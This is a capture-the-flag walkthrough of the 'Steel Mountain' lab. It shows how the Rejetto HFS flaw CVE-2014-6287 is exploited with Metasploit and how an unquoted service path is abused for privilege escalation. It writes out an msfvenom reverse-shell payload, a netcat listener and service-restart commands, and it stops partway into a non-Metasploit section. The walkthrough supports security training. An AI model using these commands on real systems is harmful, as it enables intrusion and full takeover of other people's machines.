Steel Mountain

**Task 1 – Introduction**

Deploy the machine

1.Who is the employee of the month?

Ans – See the source code of image

**Task 2 – Initial Access**

Answer the questions:

1. Scan the machine with nmap, What is the other port running a web server on?

Ans - 8080

1. Take look at the other web server. What file server is running?

Ans – Search file Server: which you got 8080

Flag - Rejetto HTTP File Server

1. What is the CVE number to exploit this file server?

Ans – 2014-6287

1. Use Metasploit to get an initial shell. What is the user flag?

Ans – search CVE number

Set RHOST <machine\_ip>

Set RPORT – 8080

Set LHOST tun0

Run

Meterpreter> shell

**Hint : C:\Users\bill\Desktop #**You can find the flag here

**Task 3 – Privilege Escalation**

Now that you have an initial shell on this Windows machine as Bill, we can further enumerate the machine and escalate our privileges to root!

**Answer the question:**

To enumerate this machine, we will use a powershell script called PowerUp, that's purpose is to evaluate a Windows machine and determine any abnormalities - "PowerUp aims to be a clearinghouse of common Windows privilege escalation vectors that rely on misconfigurations."

In a new terminal, we going to download the powerUp.ps1 as stated in the task. Navigate to your download directory and type in the following command to download the script

Wget https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

Back to msfconsole:

Meterpeter> Upload PowerUp.ps1

Meterpeter> load powershell # to load powershell

Meterpeter> powershell\_shell # run powershell

To run the script type:

PS> . .\PowerUp.ps1

Invoke-AllChecks

Q1. Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?

Ans - AdvancedSystemCareService9

The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!

Use msfvenom to generate a reverse shell as an Windows executable.

$ msfvenom -p windows/shell\_reverse\_tcp LHOST=10.10.252.234 LPORT=4443 -e x86/shikata\_ga\_nai -f exe -o Advance.exe

Upload your binary and replace the legitimate one. Then restart the program to get a shell as root.

As the service is not quoted we can put this file in the following directory. We also have to write access to this directory and we can restart the service. So the exploit should work. I also notice we can replace the service exe file that is already in there as we have write access to that as well. For now we just to the unquoted path

In the meterpeter screen type:

Meterpeter> cd 'C:\Program Files (x86)\IObit\'

Then upload payload on it: $ upload Advance.exe

Open New tab

Now start netcat listener : $ nc -nlvp 4443

Go back meterpeter shell type:

$ shell

$ sc stop

$ sc start AdvancedSystemCareService9

You can find the root.txt in c:\users\administrator\desktop\

**Task 4 – Access and Escalation Without Metasploit**

Now let's complete the room without the use of Metasploit.

For this we will utilise powershell and winPEAS to enumerate the system and collect the relevant information to escalate to

**Answer the question:**

To begin we shall be using the same CVE. However, this time let's use this exploit.

\*Note that you will need to have a web server and a netcat listener active at the same time in order for this to work!\*